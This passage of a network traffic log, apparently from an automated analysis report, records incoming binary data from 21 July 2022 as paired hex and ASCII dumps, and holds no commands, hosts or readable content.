ff 00 1a 22 39 30 e5 ee b7 8e a6 a0 8b f2 a1 f1 72 cb 42 1a 8a fc bc c3 88 7f c3 7b 34 e3 78 da b6 fc 30 8f 86 e6 50 c8 6a 6b d8 c2 de Data Ascii: C[mQXnY?vA\9JSIKS4yxk469cS7)SGH,{{Y[q`Kf318(CE'cNf$DFTMs&IvQd1)EnBWAG"90rB{4x0Pjk
2022-07-21 02:34:44 UTC	4749	IN	Data Raw: c9 8f da e7 ab 33 33 65 ae ac 08 07 d1 96 35 5d bb fa 9e 43 29 31 80 e9 16 4c 68 92 10 6c a0 e1 23 f9 6e 79 39 57 e1 d6 4b ea c8 b2 b7 5c 8c 4b 96 da 24 68 f5 e5 36 9b a6 fd ad 42 bc eb 3e 3c 5b 64 ec 62 98 a0 92 24 73 c8 0f 95 9b cc cb e6 d6 b8 30 e5 c6 c5 92 45 25 1a 26 e7 72 3d 84 f7 59 bd ff 00 0e 86 bf 2e 87 1c 48 b3 74 af dd fc cf b9 f8 ab a4 91 8f 0d 0b 58 7d 43 2c ab a0 6e de bf 58 32 db 17 09 04 e9 08 ac 85 3b 49 f2 a5 dc bd 35 fe 23 fd cd 34 cb f5 5e df 8f 8f 24 f4 25 a3 21 68 17 b5 88 be d4 f3 5b e3 d7 19 cf cd 92 90 98 63 11 8a 51 a4 01 be 6b 56 f6 63 23 77 97 e1 d3 dc 53 0e 40 9a 2e bf 4c e4 48 1d ee 21 80 23 b6 26 9b 95 ad bb ca bf 7b 4e c1 fe d6 6d d2 8f 25 79 a3 00 ba e5 84 92 2f 8f e9 e2 a6 b6 f1 6e 37 52 11 0a 65 65 0c 53 d8 e6 e6 ae a9 Data Ascii: 33e5]C)1Lhl#ny9WK\K$h6B><[db$s0E%&r=Y.HtX}C,nX2;I5#4^$%!h[cQkVc#wS@.LH!#&{Nm%y/n7ReeS
2022-07-21 02:34:44 UTC	4765	IN	Data Raw: 01 88 56 cc f0 5e 6a b9 d5 6d da 74 ae a9 b4 82 61 c6 c5 b4 34 90 20 22 40 28 a5 4a 1e af d8 e4 47 d5 40 88 e4 e3 ae 1d 79 19 0d 0f d6 87 53 cf b9 b6 06 44 29 65 ff 00 25 81 1d 94 bb cd ee c7 fe 1d 7b bd 66 65 e1 60 e1 65 42 e4 32 92 64 23 8d 0b 7c d5 57 f7 79 b5 e2 a5 8d e5 75 b5 97 33 75 bf 8b 9d be 9e f5 04 11 6e 34 c7 33 13 fd 4f 13 35 a3 00 ca f2 14 42 07 90 05 fd bd 6d da b6 9f c9 f4 a2 0c 48 88 bf 69 a9 25 bb f7 7d cd 69 d8 32 64 e9 c5 8e c2 b1 ca 4b 5c 2b 5b aa 5d ea da 33 03 2c 48 ef 3b 70 00 50 0f d3 c5 b4 bc 86 45 0d 18 3c a0 e9 ff 00 95 5c 4f 6f e8 ad 32 6e 31 e4 f5 3a 4e 44 b6 98 cf 1a 53 8b 48 cd ff 00 4d 74 b1 72 e3 93 05 25 ed 7c dc 8f 94 87 89 11 2b 5a cf fb 72 bf f9 92 69 44 ca 18 cd 13 3a c2 ac d7 19 1b c2 86 fb fa 63 bc d2 3a b5 96 2e Data Ascii: V^jmta4 "@(JG@ySD)e%{fe`eB2d#\|Wyu3un43O5BmHi%}i2dK\+[]3,H;pPE<\Oo2n1:NDSHMtr%\|+ZriD:c:.
2022-07-21 02:34:44 UTC	4770	IN	Data Raw: 1c 0f 0a 57 b0 dd 3b 0e a7 0b 72 56 df d0 14 da df af 76 8d c5 82 4c 76 78 cb 0e aa b3 c8 a4 7d 37 2b ad 3e ce b0 c0 66 c2 38 eb 0d ac 1d f9 b8 54 85 ef 3b 2f c0 bd ed 67 b7 d4 07 74 65 ea 53 94 b7 65 5a d2 cb fb ba 99 49 25 98 5b 13 c0 55 43 10 e1 3b 6c 7e ee 14 2a 43 1a cc b1 a9 24 ce 5c 92 7d 82 95 44 fb da 2f 61 db 8a a3 64 c8 41 ac 92 35 7e ba 5a 3e ef 53 59 c5 87 ff 00 79 0c cb dd 8d 99 58 7d 1c 3a 89 a6 d8 d0 08 f6 e3 6f 0a 4c e4 7d fd 0a 69 ac a1 41 eb b0 3f 7e 8a 01 20 9f 40 ff 00 b6 a7 63 ce 7c 8d ce 25 71 48 d9 e4 5a fd 21 09 e1 fb 3a df b8 c7 3b 44 c3 80 8e 59 04 a4 9e f5 b5 40 ff 00 66 fe 5d 6e 1b 5c 9b 76 41 15 ba 00 5e 60 4d 3b c4 32 59 f6 2e fd 9d 7b bd 46 99 18 f1 4a 58 dc 23 11 05 1e db 80 67 fd 4f d7 d5 b3 53 22 61 6c 6d c6 ab a8 52 06 Data Ascii: W;rVvLvx}7+>f8T;/gteSeZI%[UC;l~*C$\}D/adA5~Z>SYyX}:oL}iA?~ @c\|%qHZ!:;DY@f]n\vA^`M;2Y.{FJX#gOS"almR
2022-07-21 02:34:44 UTC	4786	IN	Data Raw: c6 2e 14 63 ec 40 a4 7e d6 bb cb 0a 75 8b 51 c2 dc d5 d7 a0 57 3f 20 71 a1 53 ed 35 14 fe dd 65 0c 8f 90 d6 aa b1 34 fa 09 3a 31 f7 1d be 48 fa 65 2a 09 ab 0b 41 ec d0 6f 9b 0b 54 e3 a0 43 c3 89 1f fd ed 14 5c f0 42 a6 bb ea a7 30 ed b9 ae a1 18 80 87 8d 19 7b 0d 3e d6 80 c8 8a 7a 13 30 42 29 40 ac 07 dd ae 86 7d c6 70 4a a3 b1 52 3b 18 f1 d0 8b 36 4c 8d 45 ab 8a f6 9f a7 50 91 bf 13 88 fd 15 c3 41 5b 24 28 ed 7c 6a a0 0f 62 9a 7d eb 6d bb 58 bc 97 9b 8f b0 52 bf 56 b5 48 f2 54 89 14 87 ec d6 a1 1d d4 00 d0 76 f1 d3 01 6b 8b 7a 68 89 24 01 83 29 60 6b ec 27 b4 7c 3a ca 37 32 49 74 f4 70 40 a5 5b 88 20 fd 2d a1 e4 2c 9f 86 c9 21 3e d5 6b 87 f8 75 f0 bb da 2b c3 88 ed d1 24 85 e2 38 48 0a 37 85 b9 5a a0 37 68 34 5a e4 3c 2d 58 41 55 24 fb 6b 41 fd 7a de 9b Data Ascii: .c@~uQW? qS5e4:1He*AoTC\B0{>z0B)@}pJR;6LEPA[$(\|jb}mXRVHTvkzh$)`k'\|:72Itp@[ -,!>ku+$8H7Z7h4Z<-XAU$kAz
2022-07-21 02:34:44 UTC	4802	IN	Data Raw: 07 b8 9c 6d d2 66 8b 27 14 e1 ce 7f 15 18 32 a9 7e f5 6f 8d b9 2e ef 7e 0a 2f bf a4 7b e3 61 6d 19 f2 24 d7 4e 03 1b 15 bb ed ff 00 3a 46 e6 e9 a3 78 ae be 4f 05 bd ed 1c 7d 48 de a7 99 20 9c 24 33 aa 14 c7 60 38 54 0e 48 24 bb e6 48 8d 6f 23 34 9c 8f ab 94 43 b6 0d 19 75 0a 03 ae 9c 7c 58 fb bd fa 34 85 de c0 73 37 a2 fc 3d d7 fd 4a dd d0 c7 d9 d9 25 92 65 8c 54 54 13 7d be da fc ab 9d d7 f5 ee e5 6d 6a dd 37 f4 44 59 25 05 a7 9c 92 02 d0 71 ad d7 71 f7 9f 51 7b 9a e5 e3 e4 37 fa 87 0b 56 f5 a7 74 8f 0b 25 34 5e e1 31 26 19 d8 70 8a 3b e9 f5 b7 87 5c 36 6a 4a 33 b6 64 df 98 70 f6 56 b8 5f 87 f7 56 f9 f3 64 fa 6b d3 e1 5f a7 4c f6 d6 ae 04 90 05 26 66 93 a9 75 7c 16 b5 c9 4f 8b 9b ec 79 b4 ab 30 a3 22 b4 5c 63 91 6e 43 f5 1f de 56 e5 6d 16 0c df 91 92 48 Data Ascii: mf'2~o.~/{am$N:FxO}H $3`8TH$Ho#4Cu\|X4s7=J%eTT}mj7DY%qqQ{7Vt%4^1&p;\6jJ3dpV_Vdk_L&fu\|Oy0"\cnCVmH
2022-07-21 02:34:44 UTC	4809	IN	Data Raw: 11 18 e2 53 d3 ef 57 ff d5 e9 b1 65 09 63 b4 10 25 3c ad fa 40 bb f6 75 89 4b 40 60 b7 c4 8c 18 7d 22 bc a6 eb bc 0b 1b 69 4e 0c 02 39 9d 72 1d 5a 20 58 43 14 47 87 31 e7 93 25 5f bf 37 77 c7 a6 30 e7 63 36 42 e2 28 61 2d aa 68 47 02 29 6a f7 b9 1b e1 4e 7d 7c 7d e2 09 d1 cc 2d 91 b7 76 b4 b4 ec e3 58 44 d0 4f 2b 04 04 3d f6 b0 20 7b 39 8d 3f a7 83 42 49 84 31 67 79 52 4a 1b 81 2a c6 82 a7 9a 3b 4d bf 31 9f bb 67 9f 4d 0e d9 13 64 8c c2 1a f5 a8 01 78 0e 22 8d 77 9b dc d6 d9 33 31 a2 fc 43 c4 b2 aa dd ed 27 b9 67 87 50 24 d6 d1 82 d7 1c cb 5c 3f bf b6 91 4d bc e2 c4 1c 4e 8d 02 c6 a6 95 14 25 eb cf d3 fe 65 9f d3 c5 a2 0c cf 9b 14 0f 8a 2f 46 f9 b5 3c 05 1b 95 62 7f 12 bb 5d f6 2d d7 9b c1 c1 9a 9b 84 f1 1c 83 8c c7 a6 2a 78 35 42 dc a9 e3 b5 a3 f8 75 b7 Data Ascii: SWec%<@uK@`}"iN9rZ XCG1%_7w0c6B(a-hG)jN}\|}-vXDO+= {9?BI1gyRJ;M1gMdx"w31C'gP$\?MN%e/F<b]-x5Bu
2022-07-21 02:34:44 UTC	4825	IN	Data Raw: 0d 68 99 0c ce 01 e3 c3 b7 59 a0 30 a3 20 b8 28 3f 4f 0b 9b 85 ca ba c8 1b 24 15 e6 14 a1 03 81 a9 d6 cc a0 d1 87 59 a8 1d bb bc 7f 5b de d1 1c ea 07 61 ec a9 20 71 a1 8c ef 21 20 37 03 ec fd 3a 33 0b a7 14 66 49 14 14 e3 db 4a 12 38 d1 b8 ae 82 c7 ba 32 1d 39 4a b5 39 85 75 88 0b 23 d2 42 6c 1d b4 e3 a1 15 06 eb d9 db 51 7a dc 1e c8 65 02 85 19 4a 9e 1d b5 6e 5e f7 71 b4 7e 32 b3 63 c6 23 6e 2b 1d ad 51 d8 0f 7b e2 5f d7 d0 71 c8 8e a8 c6 a1 10 90 40 02 a4 12 bd 26 fb 36 eb 44 f9 0e d9 01 91 98 a8 1c 2a 7e d7 bb ae 2b 9f 4e 96 25 b5 a8 06 d4 68 85 de 31 c6 e0 94 01 78 0e df 31 fd 9d 79 80 92 44 cd 90 47 05 a9 8c b0 e0 4f b5 95 5b 5a 57 74 71 09 81 79 55 8d 5e 9d a7 c5 fa be 1d 1d 83 b9 29 6e 6e d5 5e 0c dc 78 d2 de 7f dd d0 9b 30 a6 e3 43 d9 ea ab dc 5e Data Ascii: hY0 (?O$Y[a q! 7:3fIJ829J9u#BlQzeJn^q~2c#n+Q{_q@&6D*~+N%h1x1yDGO[ZWtqyU^)nn^x0C^
2022-07-21 02:34:44 UTC	4841	IN	Data Raw: 7e 68 19 41 5b 00 2c 2d 20 f6 8f 64 97 73 24 76 fe b7 82 dd 78 d9 53 4a a6 49 6c 35 e2 b6 51 55 40 15 fc 45 b6 49 39 63 f1 5f cd a1 77 bd a3 23 33 14 62 c2 03 ab 90 c5 c1 e6 b4 15 2c 8b f6 6e 8f 5a 3f d2 72 84 a9 0e 03 20 8e da ca e7 b3 f9 69 62 db cd 2d 91 df 2f 83 c5 e6 d1 91 21 c0 10 55 5b 5b df d0 2a 9c c6 e2 d4 64 d9 f9 25 01 c6 21 d1 14 1b 90 76 03 dd 47 f8 6d 5b 35 a6 09 66 ce 91 fa aa 13 82 dc 24 1d a0 f7 7d f6 d1 f1 6d 86 cb 62 2a b0 8a 5c cb 45 a9 ef 3f 2b dd cb e3 4f e2 27 dd 4d 66 b0 47 69 6e fd 40 b4 13 69 f7 2e 63 f6 79 5f bd aa 79 91 80 42 81 7f 4f 7a b8 c6 dc 4f 0a d1 f9 8c 87 0f 8a d4 ea 22 a8 8d 3b a2 a4 73 71 e5 e4 b7 b9 a0 5f 70 96 27 48 6d 6b 82 dc c5 ab cb 41 ce be 2b 99 59 ee fd 7f 7b 44 e4 c4 d2 e5 46 c1 0c 99 0a 82 40 d5 22 95 f2 Data Ascii: ~hA[,- ds$vxSJIl5QU@EI9c_w#3b,nZ?r ib-/!U[[d%!vGm[5f$}mb\E?+O'MfGin@i.cy_yBOzO";sq_p'HmkA+Y{DF@"
2022-07-21 02:34:44 UTC	4849	IN	Data Raw: fa bc ba 67 ea 68 b6 fd b7 79 93 f2 01 16 19 11 5e a8 f7 2d 7f 77 e1 d7 9b 18 93 d2 a9 2b 7c a3 96 dc 43 94 69 2c 5e c6 6e 5b 63 fd df e6 69 9e 76 f7 87 b8 43 d4 cc 8d 72 72 1a 31 56 7a 90 18 06 8d 3a 31 72 74 53 9a fb 2e f8 93 b9 a0 6d be 59 f3 19 3e 60 25 b7 95 0c 69 65 12 36 39 b7 56 7e 5d 67 c3 bd dd cf bd 49 70 6c 14 31 0a ff 00 96 be 1c aa 66 29 cd 4c be c2 7b 7d 9a 08 4a df 96 2c 6a 79 a8 e3 cc 3d ed 31 69 52 3c 65 52 68 6d b5 aa 7d a3 bb db ee b5 ba 99 9d c9 e0 18 d2 be cd 6d ff 00 4e fb 65 0a 5f 3b dd 88 f4 33 d6 ae f7 77 ca a5 d7 5c 58 5a f4 f6 1c d0 f3 16 55 a4 65 54 16 3c 00 d1 a3 26 18 c1 76 e7 5f 6d 0d 2a 35 2b d6 99 01 62 e1 c5 6b 42 38 fd ed 64 72 1e 41 55 3d 9e cd 36 9b af 2d 48 b6 bc 40 f4 52 69 bf 25 4a b0 f4 e9 54 59 bb 95 a8 7a 3c ac Data Ascii: ghy^-w+\|Ci,^n[civCrr1Vz:1rtS.mY>`%ie69V~]gIpl1f)L{}J,jy=1iR<eRhm}mNe_;3w\XZUeT<&v_m*5+bkB8drAU=6-H@Ri%JTYz<
2022-07-21 02:34:44 UTC	4865	IN	Data Raw: 92 1c 80 54 63 c6 18 44 40 3d cb a3 7f 96 f1 4b cd e4 e5 f8 b5 bf 33 d5 32 66 4e b8 33 99 16 e5 1c 11 43 10 dc fd 49 7a b5 49 2c fb cd a4 59 ca ed 19 cb c3 f9 99 71 00 82 80 9b d0 b7 de 66 8d ae 68 fe 37 f7 75 84 9b d4 be 9b 9e 37 b5 3f 37 1b 03 90 80 df 19 41 fc 1f 0f e1 bb f9 bf 16 ff 00 0d 9a 43 e6 3f ed b9 36 b2 c9 82 87 8e 25 ce 37 63 8d f2 f0 d2 fb bd 94 bb 59 1d 24 e8 5d 43 f8 d5 ba 2a f2 69 a6 c9 fc ae 1b db 72 13 25 af 50 18 52 fe 61 fc c5 ff 00 cd a7 b8 38 38 a8 25 8c 22 16 49 fa aa 94 e1 19 e1 d2 b1 7c bd eb bd ed 73 e6 f5 7e 16 e2 ff 00 9e 81 e6 59 11 8d 11 95 4a 80 45 ed 6f 33 3d bc bf 8a cd cb dc d6 5b 1e e9 9b b7 cd 95 33 12 d0 bf 16 00 b1 21 80 8d 9f be bf 8a fd 5b ba 3c bd 3b 39 3b da f2 72 6c 26 31 9f e5 95 17 c3 a7 27 67 a5 91 8f f6 76 Data Ascii: TcD@=K32fN3CIzI,Yqfh7u7?7AC?6%7cY$]C*ir%PRa88%"I\|s~YJEo3=[3![<;9;rl&1'gv
2022-07-21 02:34:44 UTC	4881	IN	Data Raw: 9b 5c a0 ca d8 2f 60 24 7a cd 2d 36 e1 9e 3c 63 37 3a e2 29 5e 0e 3e 5e 62 f5 63 5b 52 b4 b9 8d a3 fe 3a d8 36 7c f8 59 a6 54 20 2d 4d e0 82 29 e2 64 65 3c df 67 54 19 61 65 ab 00 05 69 68 02 81 40 e5 5e 5f 87 5a 23 8b a6 e8 e4 f0 60 6b fd ba d1 1b 0d 05 d8 de ae bb 6d c3 28 2f a9 a5 19 31 36 5d 2c a2 4e 9d b1 50 8a 9e f3 59 77 ff 00 66 da d5 b5 86 c9 ca 48 e9 e2 e6 fa 87 8b 54 79 b2 63 e4 b9 69 50 49 2d b6 ab f1 af d5 dd 6e 67 5f 06 94 e5 24 b8 b1 54 ce 24 91 cd 59 50 10 01 ef 73 b5 16 f7 75 b3 54 96 23 1b 02 df 77 d0 bf 86 a2 48 e4 16 ca e0 b6 87 e1 a6 db 8c 29 b9 49 6c 24 23 54 f0 63 f4 77 79 57 ee eb e3 83 f9 d8 a3 c5 6b 06 42 ad 95 af 02 01 e4 91 ff 00 e5 fe 1b db e1 b3 53 b8 f9 cd 0b de 78 fd 3a a3 53 26 3a a4 b2 8a 17 a5 41 e3 40 c3 ba cb e7 b7 bf Data Ascii: \/`$z-6<c7:)^>^bc[R:6\|YT -M)de<gTaeih@^_Z#`km(/16],NPYwfHTyciPI-ng_$T$YPsuT#wH)Il$#TcwyWkBSx:S&:A@
2022-07-21 02:34:44 UTC	4889	IN	Data Raw: bb ac 3d a3 cd a3 47 b3 85 50 2f 7b c7 54 db ec 4c 2b e5 83 6b 9d 0f a6 9d 62 63 a6 d5 0f e5 18 50 05 34 65 14 32 13 fc 47 6e f7 d9 d6 58 73 c8 15 28 c5 81 26 8a 4f 28 3d d5 6a 68 50 f2 b2 aa 4c 4b 5a 39 49 ed a7 d7 ad 4e ed 8a 84 28 e7 e2 54 fb 07 f8 b4 ea 22 20 02 da 0e 35 e8 a1 da 43 0c 43 30 0d f8 fb 54 cf 2b 67 db b1 52 64 35 ea ba 8b 61 3c 15 4b 7f 1d 64 5f 0c 7f c3 8f c3 e3 bb 50 32 91 14 ad d4 4e 70 dc 29 ed 35 ef 69 e0 91 e4 9d 64 95 cb 49 5a 12 4f 1a 69 56 74 ca d7 ba 8e 31 b9 23 e1 27 9b fb da c4 f9 94 51 ba 06 4e a1 70 7d 62 bc ff 00 cd 7e 5e 8d 07 9a 82 d2 26 5c 4f 52 f8 68 7c 8c 88 9a 33 23 1b 4d 79 45 38 93 fd db 75 57 e9 89 24 48 0b 46 79 8d 4d 0f bc 2d 66 fb 2b a8 36 94 1a 81 47 56 20 80 78 81 f1 77 7e 1d 3e c0 ca 9a 3c 68 d5 18 ad 05 38 Data Ascii: =GP/{TL+kbcP4e2GnXs(&O(=jhPLKZ9IN(T" 5CC0T+gRd5a<Kd_P2Np)5idIZOiVt1#'QNp}b~^&\ORh\|3#MyE8uW$HFyM-f+6GV xw~><h8
2022-07-21 02:34:44 UTC	4905	IN	Data Raw: d9 58 4b bb e3 02 05 aa 2a 50 8e 36 1f 10 4f 72 ee f4 7f 6b bd ad 89 63 c2 e6 10 01 1d 4b e2 af 5a bb 55 4f 31 76 cb 88 b5 a4 8b 4c 24 c7 c3 4a b2 e1 9e 34 e2 b5 a0 24 91 c7 85 7b f4 d6 50 63 c9 24 6b 6d 0b ad 49 a9 02 da 5b 41 c7 bc da 1a 49 72 31 e7 e9 49 ca e0 1e 3f 57 6d de f2 eb ec 8d c7 af d3 1d da 25 a4 0f d3 aa 2c c8 49 37 20 70 b5 01 80 53 60 78 7a 79 75 a6 71 c6 b0 d5 9e 45 af 7a 8b f5 eb e9 22 8e 42 72 15 bb a7 88 fa 78 70 5d 28 c6 73 7a a9 3c b5 a1 d3 6c c5 18 e8 b0 0e f2 d6 ea 7d 27 4d 24 8a 63 b8 d3 1a 2c 60 b9 fa bf ba b5 62 67 00 c6 39 d0 35 7b a4 54 10 6b a0 77 2c 9e 9e 48 9d 5a d7 b2 af 4f bb fa da d6 b2 59 2a b7 d0 6b ad 4f d1 12 3a e4 73 24 ac 63 63 4e 23 c5 1c 91 fb df b5 dc d6 5e e7 73 94 78 b6 a7 2b a9 a5 7e 61 b9 fe 9e 00 e3 af 3c Data Ascii: XKP6OrkcKZUO1vL$J4${Pc$kmI[AIr1I?Wm%,I7 pS`xzyuqEz"Brxp](sz<l}'M$c,`bg95{Tkw,HZOYkO:s$ccN#^sx+~a<
2022-07-21 02:34:44 UTC	4921	IN	Data Raw: 71 ba 2a 61 c0 24 03 9c 28 a5 7e 92 79 75 13 ce 5e 45 06 ec 4f 1b f6 b5 55 10 2c 6d 6d 39 78 d4 ee 13 63 64 e5 4d 1e 4a 97 e9 47 f2 f8 f0 0d 55 ed 1e 25 b6 fd 18 d9 13 43 88 e9 09 b4 b4 66 ef 80 95 ba 9f ab a9 dc 24 92 1c 8c 83 5a f3 05 e3 ed d1 f9 19 2e 66 bc 9a 12 85 7f ab 46 92 2e 70 01 b8 d0 d8 d7 2f 4e b4 46 df 11 b1 56 b6 ac a6 c5 1f 4d 39 d9 be f7 cb d6 4b 0c bb b6 3e 51 dc 1d 9a 54 54 0c 57 bd 48 f9 5a de 16 bd 88 9d df 15 8f ad 33 e5 33 cd 12 e3 48 b0 b4 2a a8 92 3d 2d 56 fe 63 fb b7 e8 ad a6 53 85 89 d7 92 41 d6 12 87 e3 c4 b0 02 45 7b 7c d7 bb db f6 b5 47 0c 17 cc 1d 44 ae 3e 2e af f0 d4 c6 07 4f f6 9e ca b1 18 ca be 8f 48 87 10 98 d7 03 f6 ae bb 53 90 87 5c 48 fa e7 89 17 b9 3f a3 92 bf 0a 5b ab 52 83 17 66 18 b9 6b 63 1c 78 d6 c3 f4 b1 63 66 Data Ascii: qa$(~yu^EOU,mm9xcdMJGU%Cf$Z.fF.p/NFVM9K>QTTWHZ33H=-VcSAE{\|GD>.OHS\H?[Rfkcxcf
2022-07-21 02:34:44 UTC	4929	IN	Data Raw: 93 f8 be 4e 4f 36 9b fa 7f 33 10 34 98 85 02 f5 a2 26 d2 6a 2a 01 b2 df 8f cb a6 cf 84 db 6f a6 a4 97 0e 12 cf 92 54 39 8d 6b 6c 51 8e 4e ad 9c df 39 93 9b fe 66 9c 96 77 b3 6d d5 4a 99 19 70 61 dd 12 75 37 c3 8d 07 6e 4f 5b 35 fa b8 d4 5c ec 25 66 97 8d d7 12 3e 80 39 85 bf 66 ed 58 6e b9 38 f9 7b 2e d5 8b 8f ca f2 72 b2 fd 69 c9 56 f8 9e 5b f5 15 57 48 0a 29 bc 80 cd c3 db 4f 6e 98 ec 45 a4 6c 69 5b 8d a2 bf d9 56 d5 b7 11 06 0a f7 fe 13 16 51 e9 e4 6a 3a 3d 85 c7 6d 74 68 76 fa 04 5e d1 1a 85 07 f4 0d 0b be 44 b8 2f 87 33 70 55 91 99 8f d4 02 b3 69 ee de 81 91 17 e9 00 9f ec d2 df 5d 43 5c 7c 7f 61 63 28 fe d4 d7 9b 8a 52 77 0a 8c 74 39 7e 16 a2 a0 d6 f5 ca 36 64 c8 dc ff 00 33 bc c8 6d 89 1a c4 5f 61 2e dd df b0 bc cf aa 9d c3 e6 16 03 d8 87 fb 40 d6 Data Ascii: NO634&j*oT9klQN9fwmJpau7nO[5\%f>9fXn8{.riV[WH)OnEli[VQj:=mthv^D/3pUi]C\\|ac(Rwt9~6d3m_a.@
2022-07-21 02:34:44 UTC	4945	IN	Data Raw: c7 dd af 73 d8 c5 b6 43 43 43 45 1f da 1c e9 76 34 00 98 1c f0 5a dc 4f c2 3a 8d fb 1a 7d ba 26 3f e4 54 64 33 00 0a 85 28 2b 5a 2f d6 57 cd a1 a5 96 2c 7d be 27 00 b2 32 b2 0a f0 24 31 64 6e 65 ee f2 5f a3 ed e4 1a 68 4e 4e 6f 6a 6d 93 8d b8 d8 00 6a 2f 31 cb 90 fe d6 24 9f eb d1 d8 58 b1 42 57 aa b7 39 e3 db c0 68 ed a7 1a 2c ec f8 cb 42 3a 11 f1 75 b8 f1 fb 7e 1d 5c 2f a6 f6 27 76 9c 89 d5 18 f2 a5 c0 2a f0 fc 3b e8 ce f7 37 8b 5e a7 6d b5 79 a2 06 35 b8 e1 6b f3 56 9c 1f 29 de 6e e1 12 40 0e 04 b2 e5 7c 7a 69 2e df 8d 1a c6 1d 05 aa 4d 68 3b 35 5f 89 85 f9 ad ce 37 ed 56 8d bf 75 b4 34 1b 3c 19 a0 63 ed c4 ab d4 d9 0b fb 41 37 58 b3 56 db b9 bc 6a bd dd 50 fa 72 20 72 e3 2c 39 95 0f fe 16 6b c6 7c f3 6d b9 d9 33 34 cb 8e 41 f0 3d 4a 55 ba 79 aa 9f fb Data Ascii: sCCCEv4ZO:}&?Td3(+Z/W,}'2$1dne_hNNojmj/1$XBW9h,B:u~\/'v*;7^my5kV)n@\|zi.Mh;5_7Vu4<cA7XVjPr r,9k\|m34A=JUy
2022-07-21 02:34:44 UTC	4961	IN	Data Raw: 58 44 69 dd 8e 27 23 ea 2f cb a5 63 c9 e6 50 ba 0b 9d 3d ec ab 56 12 91 a1 5e dd 3d ee 5a 86 83 6e 9f 30 2c f1 10 ed 3e 41 8c a8 ed 0c dc d1 7f eb 73 59 f0 3e 9f 64 e5 0c 8d d5 e1 5e e8 0c ab 4e cb 50 2c 29 f6 79 74 a7 d1 fb b3 e0 64 18 59 6f 8d c1 65 af 86 44 1d 58 65 5f 81 fc 3e 56 7d 7d b4 b1 ff 00 54 72 fc 0a c7 c2 bf a5 75 bd 32 5d 9e fd c5 38 7b af 53 d9 72 4f 0a 73 e9 9c 7f c9 a6 44 ce 39 9d 88 af eb 30 fd 8d 67 39 79 dc b0 25 8d 28 07 e9 3f bd ad c1 84 0a 63 1c 10 13 d8 6b c4 9b 9f 8f c5 a5 32 e6 2c 53 44 ea 4d 7a e8 0f d1 c3 49 2a b4 b2 33 8e 27 fe ca 5e 42 ac 47 a3 fe ca 12 0c b7 c1 c4 9b 29 08 07 bb 1f 0a 9f d6 d6 1b 0e e3 d4 75 92 75 12 50 90 e1 80 21 be 25 6e f6 bc de 71 83 91 1a 38 11 ab 31 65 e2 2d e3 c9 7b 11 67 37 b9 a1 f1 65 8f 18 29 8c Data Ascii: XDi'#/cP=V^=Zn0,>AsY>d^NP,)ytdYoeDXe_>V}}Tru2]8{SrOsD90g9y%(?ck2,SDMzI*3'^BG)uuP!%nq81e-{g7e)
2022-07-21 02:34:44 UTC	4969	IN	Data Raw: 50 c4 02 2a 07 e9 e0 ff 00 7b 4b 6f 20 69 63 c1 74 d5 2f ee 86 56 a7 e3 c4 13 7e d0 40 fe ca 7b ea dc 7e ac 71 e5 28 e4 b8 07 3f 57 1b 2b f0 ea 5a 69 01 48 d1 4d 45 a7 86 aa b6 09 d7 79 c5 93 06 63 cc 63 2b c4 f1 e3 cd 1b af c2 d6 e9 26 66 cf 99 b7 c6 99 72 63 ba 46 a4 06 2d 41 50 79 78 2b 73 7e ae 87 b7 61 1f e4 39 19 21 e5 f6 b2 e9 a0 ed c9 bb 2b 69 63 e8 a2 36 f0 b3 6d bd 17 65 8c 12 d5 76 ec 02 be ef 36 96 e6 66 63 ad 06 31 76 2a 00 bd a8 2b 4f 2c 63 fb fa 3a 57 51 b7 90 9c 05 87 f6 b5 35 76 9d da c6 4b 34 82 e0 86 3a 53 10 4c f1 48 ae a6 ce 84 d9 85 34 87 71 98 ab 37 6a ad 2a 75 f6 3e 74 b0 4a b3 03 42 0d 18 1e 00 a9 e5 75 fb 49 ad 9b 54 0b 34 24 49 dc 69 16 e2 7b 02 8e 63 ac b7 98 e3 25 5e 22 6d 2c c1 41 f2 8e ee 8f 24 e6 46 68 98 69 da 7d 9a d9 9b Data Ascii: P{Ko ict/V~@{~q(?W+ZiHMEycc+&frcF-APyx+s~a9!+ic6mev6fc1v+O,c:WQ5vK4:SLH4q7j*u>tJBuIT4$Ii{c%^"m,A$Fhi}
2022-07-21 02:34:44 UTC	4985	IN	Data Raw: a2 a0 c1 bd c6 ef 57 be ba 48 77 6d 95 d0 0b f2 23 37 c5 f4 82 bc d2 7d 96 8f 5c 12 1c 79 f7 2c 8a 40 95 62 7d 9c 00 f8 8f 87 5d 4f 67 dd 8e e5 bc bf 13 d0 91 9a 8a 7d 8b ff 00 97 5c f2 5d cf 23 66 c9 96 0c 47 a4 69 23 80 a4 02 0d 18 f7 ae d7 b3 ff 00 6e 86 db 07 da 3d ed cb 30 f6 7c ce a5 a4 64 dc 34 e0 bc 56 d4 95 19 74 e4 9d ff 00 8a a8 f7 68 1e 34 8a 47 a5 cc a0 31 1e 65 e5 d2 a0 c7 b5 7d 9a 2f 1b 7a ff 00 5b c3 90 4e 15 66 88 86 01 78 02 0f 7a 8b a5 9d 42 8e 47 b1 85 0e 98 81 1d 4b c2 c2 c0 16 fe ce a5 fb b5 91 e5 95 38 c8 39 bb d6 a6 fb c4 ac 71 21 90 f8 aa 38 7d 3a 5f 95 2d 9b 7c 70 81 c7 a8 5c 9f a8 8b 75 eb e6 75 b0 9b 16 4e 26 36 0c 9f f8 36 b1 78 4c 91 a8 f0 90 3f ab 45 d9 41 22 02 85 47 13 7b f8 7a d6 ae e1 54 29 f5 eb 7a 45 39 24 81 a7 de 9c Data Ascii: WHwm#7}\y,@b}]Og}\]#fGi#n=0\|d4Vth4G1e}/z[NfxzBGK89q!8}:_-\|p\uuN&66xL?EA"G{zT)zE9$
